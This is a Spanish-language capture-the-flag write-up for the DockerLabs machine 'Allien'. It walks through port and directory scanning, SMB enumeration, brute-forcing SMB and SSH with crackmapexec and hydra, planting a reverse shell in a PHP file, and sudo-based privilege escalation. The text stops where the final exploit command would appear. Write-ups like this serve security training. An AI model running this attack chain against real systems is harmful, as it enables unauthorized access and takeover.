> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/allien.md).
# 🟩 Allien
## 🕵️ Reconocimiento
Comenzamos con un escaneo de puertos con `nmap`:
{% code overflow="wrap" %}
```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```
{% endcode %}
Tenemos un servicio SSH, HTTP y SMB. Realizamos un escaneo de directorios con `ffuf`:
{% code overflow="wrap" %}
```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```
{% endcode %}
Viendo los directorios desde el navegador, no encontramos nada relevante. Vamos a ver qué recursos compartidos están expuestos en `SMB`:
{% code overflow="wrap" %}
```bash
smbmap -H 172.17.0.2
```
{% endcode %}
En el recurso compartido `myshare` encontramos un recurso llamado `access.txt` con un token JWT del usuario `satriani7`. En los demás recursos no tenemos permisos como usuario anónimo. Veamos esta vez los usuarios que encontramos con `crackmapexec`:
{% code overflow="wrap" %}
```bash
crackmapexec smb 172.17.0.2 --users
```
{% endcode %}
## 🚪 Ganando acceso
Hacemos un ataque de diccionario al servicio `SMB` con `crackmapexec` al usuario `satriani7` con la wordlist `rockyou.txt`.
{% code overflow="wrap" %}
```bash
crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
```
{% endcode %}
Encontramos las credenciales: `satriani7:50cent`. Entramos a ver qué hay en el recurso compartido `backup24`:
{% code overflow="wrap" %}
```bash
smbclient //172.17.0.2/backup24 -U satriani7
```
{% endcode %}
Nos lo llevamos todo a nuestra máquina y buscamos ficheros interesantes:
{% code overflow="wrap" %}
```
recurse ON
mget *
```
{% endcode %}
Podemos usar estos combos para intentar entrar a la máquina por `SSH`. Creamos un fichero llamado `combo.txt` que pasaremos a `hydra` para probar únicamente las combinaciones que escribamos.
{% code overflow="wrap" %}
```bash
hydra -C combo.txt ssh://$IPTARGET
```
{% endcode %}
Encontramos las credenciales: `administrador:Adm1nP4ss2024`.
## 💥 Escalada de privilegios
Buscamos ficheros donde seamos propietarios:
{% code overflow="wrap" %}
```bash
find / -user administrador -type f 2>/dev/null
```
{% endcode %}
Podemos meter en `info.php` una reverse shell (en mi caso, la de pentestmonkey). Nos ponemos a la escucha en nuestra máquina y solicitamos el recurso `info.php` desde nuestro navegador.
Vemos los permisos que tenemos con `sudo`:
Podemos ejecutar `/usr/sbin/service` como `root` sin necesidad de introducir contraseña. En [gtfobins](https://gtfobins.github.io/) encontramos un comando para explotar esta configuración: